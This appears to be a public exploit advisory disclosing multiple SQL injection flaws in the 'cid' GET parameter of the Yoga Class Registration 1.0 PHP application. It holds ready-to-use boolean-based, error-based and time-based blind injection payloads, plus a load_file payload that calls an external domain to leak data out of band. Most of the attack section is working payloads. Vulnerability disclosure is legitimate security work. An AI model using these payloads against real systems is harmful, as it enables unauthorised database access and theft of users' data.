Yoga Class Registration 1.0 SQL Injection Vulnerability

## Title: Yoga Class Registration -1.0-2023 - Multiple SQLi
## Author: nu11secur1ty
## Date: 02.27.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `cid` parameter appears to be vulnerable to Multiple-SQL injection
attacks. The payload '+(select
load_file('\\\\aaob4nk5vd0lv9e50qp2c5c1dsjl7iv9yxpkg85.stupid.com\\shs'))+'
was submitted in the cid parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain.
The attacker easily can steal all information about this server and
this could be awful for all users of this system.

STATUS: HIGH Vulnerability - CRITICAL

[+]Payload:
```mysql
---
Parameter: cid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=yclasses/registration&cid=158158925' or '6060'='6060'
AND 7469=7469 AND 'IrlM'='IrlM

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: p=yclasses/registration&cid=158158925' or '6060'='6060'
AND (SELECT 6894 FROM(SELECT COUNT(*),CONCAT(0x71786b7071,(SELECT
(ELT(6894=6894,1))),0x716a6a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CykB'='CykB

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=yclasses/registration&cid=158158925' or '6060'='6060'
AND (SELECT 9785 FROM (SELECT(SLEEP(3)))edGv) AND 'KLgd'='KLgd
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Yoga-Class-Registration%20-1.0-2023%20-%20Multiple-SQLi)

## Proof and Exploit:
[href](https://streamable.com/hhcgg6)

## Time spend:
01:00:00